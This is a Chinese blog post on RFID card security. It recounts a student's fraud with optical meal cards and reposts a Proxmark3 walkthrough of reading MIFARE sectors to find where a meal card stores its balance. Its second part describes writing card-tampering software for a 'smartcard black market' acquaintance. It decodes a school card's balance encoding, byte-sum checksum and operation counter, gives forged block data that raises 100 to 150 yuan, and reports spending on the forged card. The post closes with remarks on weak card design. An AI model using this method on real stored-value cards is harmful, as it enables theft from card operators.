关于RFID安全

2
2482

曾经记得高中的时候,用的一种饭卡时卡上面有好多的小黑圆点,到了高二,还是高三的时候换成了RFID卡,即射频卡。

今天搜索了下,才知道那种卡叫光电卡,没有加密可言,正是因为没有加密,在学校引起了一个小风波。这个是应当算是过去好几年了,说出来也不算泄密之类的吧。那时候某同学(优等生),脑子异常的灵活,可以说在他无聊的时候他研究了光电卡的原理,只要在在光电卡的正面,也就是有凹下去小黑圆点的那面贴上白纸,然后记录下别人的小黑圆点的排序,就可以刷别人卡里的钱了,由于某些同学卡的钱莫名减少,反映到了校方,加之他刷卡额度过高,过了一段时间才被发现的,然后校方也悄悄的掩盖了这件事。之后,校方就升级了RFID卡,当我毕业之后,想看看卡里面啥东西,拆出来的是铜线圈,中间还有点芯片,那时候家里还没有网络。

2013-09-09_01

现在的射频卡普及率太高了,公交卡,门禁卡,银行卡……还有集成到手机SIM卡的RFID卡。

昨天晚上了解了下RFID的原理,也并非那么的安全,网上有人竟然可以修改卡的数据。

以下转载+汇总:

国内的M1卡80%都存在漏洞,所以可以尝试对校园卡(部分包含饭卡功能)公交卡,地铁卡等尝试破解。

这次用饭卡做个测试.(文章涉及RFID知识)

首先已经得到卡的每一个扇区密钥。(用ACR122U or Proxmark3 )

此MIFARE卡每一个扇区密钥都是一样的,

因此对于破解带来很大的帮助,同时也带来了更大的安全隐患.

首先获得每一个扇区的数据,导出这些数据,然后拿去使用,再一次获取每一个扇区数据,多次对比,找出变量.
从而确定了,消费使用的是那些扇区,进行对比后发现使用的是第4和第5块扇区,对应变化数据块号是13,14,17.

2013-09-09_02

文章使用Proxmark3作演示

消费前扇区数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
proxmark3> hf mf rdsc 3 a ffffffffffff
--sector no:03 key type:00 key:64 85 9a 11 73 24
#db# READ SECTOR FINISHED
 
isOk:01
data:ff ff ff f9 80 69 19 96 3f 6b 81 04 f1 44 01 82
data:00 01 54 55 00 00 00 00 00 87 c3 d2 b4 00 00 00
 
data:00 01 54 55 00 00 00 00 00 87 c3 d2 b4 b4 00 00
data:00 00 00 00 00 00 ff 07 80 69 19 96 3f 6b 81 04
proxmark3> hf mf rdsc 4 a ffffffffffff
--sector no:04 key type:00 key:64 85 9a 11 73 24
#db# READ SECTOR FINISHED
 
isOk:01
data:ff ff ff ff ff ff ff f9 80 69 19 96 3f 6b 81 04
data:00 {01 54} 55 00 00 00 00 00 87 c3 d2 b4 b4 b4 00 //为了标明,加注了{}
 
data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
data:00 00 00 00 00 00 ff 07 80 69 19 96 3f 6b 81 04

然后我向卡里充值10元(正常充值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
proxmark3> hf mf rdsc 3 a ffffffffffff
--sector no:03 key type:00 key:64 85 9a 11 73 24
#db# READ SECTOR FINISHED
 
isOk:01
data:ff ff ff f9 80 69 19 96 3f 6b 81 04 fa 44 01 82
data:00 10 00 10 00 10 00 ad 00 00 00 00 00 00 00 00
 
data:00 10 00 10 00 10 00 ad 00 00 00 00 00 00 00 00
data:00 00 00 00 00 00 ff 07 80 69 19 96 3f 6b 81 04
proxmark3> hf mf rdsc 4 a ffffffffffff
--sector no:04 key type:00 key:64 85 9a 11 73 24
#db# READ SECTOR FINISHED
 
isOk:01
data:ff ff ff ff ff ff ff f9 80 69 19 96 3f 6b 81 04
data:00 {10 00} 10 00 10 00 ad 00 00 00 00 00 00 00 00 //为了标明,加注了{}
 
data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
data:00 00 00 00 00 00 ff 07 80 69 19 96 3f 6b 81 04

消费后剩下9.44元

1
2
3
4
5
6
7
8
9
10
proxmark3> hf mf rdsc 3 a ffffffffffff
--sector no:03 key type:00 key:64 85 9a 11 73 24
#db# READ SECTOR FINISHED
 
isOk:01
data:ff ff ff f9 80 69 19 96 3f 6b 81 04 f1 44 01 82
data:00 {09 44} 4d 00 00 00 00 00 87 c3 d2 b4 00 00 00  //为了标明,加注了{}
 
data:00 09 44 4d 00 00 00 00 00 87 c3 d2 b4 b4 00 00
data:00 00 00 00 00 00 ff 07 80 69 19 96 3f 6b 81 04

到此为止,通过数据的比对

已经很明确了那些位是用来控制钱的金额和校验。该饭卡使用16进制数来表示10进制的金额。09 44表示金额的小数点前后位,校验位紧跟其后。

实例2

因为个人爱好对智能卡有一点点皮毛的学习.年初的时候有个做智能卡黑产的朋友找到我,说他接了一个学校的单子,让我帮他写个可以Modify Data的程序(他手上的软件只可以复制卡),年初的时候需要做毕业设计,没空没帮他看.过了几个月,他把读卡器(0FC3读卡器.支持mifare1、S50、S70、SHC1102、mifare Ultralight、mifare light,具有二次开发功能)寄给了我,这样我不帮他也不好推辞了.

2013-09-09_03

前夕准备

工具:一个读卡器,说明书、还有几张激活了的可以正常使用的Mifare 1 S50卡(非接触式卡,IC卡,高频卡,工作频率13.56MHZ),OFC3读卡器的二次开发接口(ICCard_Seat.ocx)。

拿到手上首先连接PC接通读卡器,USB接口,有报警灯/声,接通电源会DI一声.

进入RFID开发正题!

开发环境:Winxp+VS2010+c#+.NET框架

开始深入

开发步骤:将ICCard_Seat.ocx和MSCOMM32.OCX拷贝到C:\WINDOWS\system32,CMD命令运行注册COM组件.

1
2
regsvr32.exe"C:\WINDOWS\system32\ICCard_Seat.ocx"
regsvr32.exe"C:\WINDOWS\system32\MSCOMM32.OCX"

注册完COM组件后,新建Winfrom项目,添加引用COM组件,即可在项目中引用封装好的方法,实现方法即可.

首先测试读卡器是否正常连接串口.

接下来测试读卡器的最基本功能,看看是否能正确读取卡内数据.以此开发的S50此卡为例,S50共有16个扇区,第 0 扇区中只用到块0,用于准确读取卡号.我在这里使用了北京市政公交卡,在没有Key验证的情况下还是可以正常读取到卡号,卡号区一般不加密!

卡的第一道安全防护为卡得验证密码:如果验证密码不匹配,那么接下来的所有操作都不会进行,也不可进行.验证卡密码:卡密码是大家最为关注的,如何得到,或者解开卡得密码是所有的关键,因为朋友已经用ACR122U自行解开了卡得Key,我这里就不再赘述.

对于RFID安全性感兴趣的请移驾radiowar wiki自行阅读增长姿势.

几乎每次对卡的读写操作都必须先验证卡密码,才可以进行下一步操作.S50有16个扇区(0-15扇区),每个扇区有4块(0-3块),每块16个字节,每个扇区的块0、1、2为数据块,用于存储数据.每个扇区的块3也就是第四块为本区的控制块,前6个字节用于保存KeyA,后6个字节用于保存KeyB,中间剩下的字节用于存取控制.每个扇区的密码和存取控制都是独立的,如果你想对此区做读写操作就需要先验证该区的密码.密码长度为12个字符.将整个卡得结构分析为64块,例:0区0块即为块1,4区3块,即为块16.大概初步了解S50卡得结构,那么我们进行“详细”的数据分析.

以下的数据是基于多张S50卡,同样结构,不同数据的分析而得出的.

朋友告诉我卡内的余额为100元,12年7月13日开的卡,个人密码为888888

以我的S50卡为例,读出块22的数据为1207132207136C696C69616E88888800

我们不难发现120713,220713这个为日期格式.:(-所以对于数据要敏感.

经过多次刷卡变化的数据,发现了块28一直变化,即第7扇区的块0

E803000000000000EB00640001003B02

E8030000 这里涉及到网络传输字节序,即字节在电脑中存放时的序列与输入(输出)时的序列是先到的在前还是后到的在前.

关于高低位字节序,这里不多啰嗦.E8 03 00 00倒序为00 00 03 E8,转成10进制即为1000,通过对比另外几张卡发现这里的金额精确到0.1. 所以,所有的金额都是比原来的大10倍。即个位数是 0.1元这个位置即角.十位才是1元, 所以 100元,我们的数据表示是 1000.这时候心血来潮了,让朋友更改了金额为

DC05000000000000EB00640001003B02

(1500,150刀),但是为什么刷卡的时候金额还是为100呢?因为这区做了金额校验(这里的金额检验算作是卡得第二道防护).

E8 03 00 00 00 00 00 00 EB 00 64 00 01 00 3B 02

发现8-9字节是 0-7字节的每个字节和.E8+03=00EB,DC+05!=00EB所以消费机会报警.现在我们知道了这个校验,那么我们在写程序的时候,更改金额区块的时候,要计算所充值的金额和原来金额的总和,然后写入8-9字节.这样才可以正常充值使用!我们更改完得数据应为

DC05000000000000E100640001003B02

这样应该就可以高枕无忧了!第二次刷卡测试,金额为150刀,没问题.但是消费机又响了!究竟是哪里出了问题呢?我让朋友把消费过的卡,Dump出来,发现还是这块数据对不上.后来只好让朋友每次消费的时候Dump出数据,并记录消费金额,刷卡时间.

皇天不负有心人,终于找到了操作次数记录(每次充值都有一个操作记录,基础值为0,操作一次累加1).这样的话,我们程序就好解决了,每次充值之前,先备份该区块数据,做充值操作的时候把备份的数据取出来和充值后的数据进行拼接填充该区块.

1
DC05000000000000E1006400 0100 3B02

此处的12-13字节为操作次数0100,倒序即为0001,这里表示1次操作记录.经过曲折的烟囱,终于达到了目的地!当然了这里只能说是侥幸,校验的地方比较少,不是全加密,省了不少时间.

本次分析需求,数据分析,到开发程序Demo总耗时一个礼拜(实际开发时间).本次RFID开发还算顺利,归根结底有两点:

1.学校的一卡通安全性低,非全加密,没有做UID校验.只有3道校验防护(严格来说只有2道防护).

2.消费终端没做2次校验.每次充值的充值机应该具有可标志性,以便记录操作记录.需要更多的验证,不仅限于密码块!

附:【RFID开发程序完整Demo下载】

2 评论

发表回复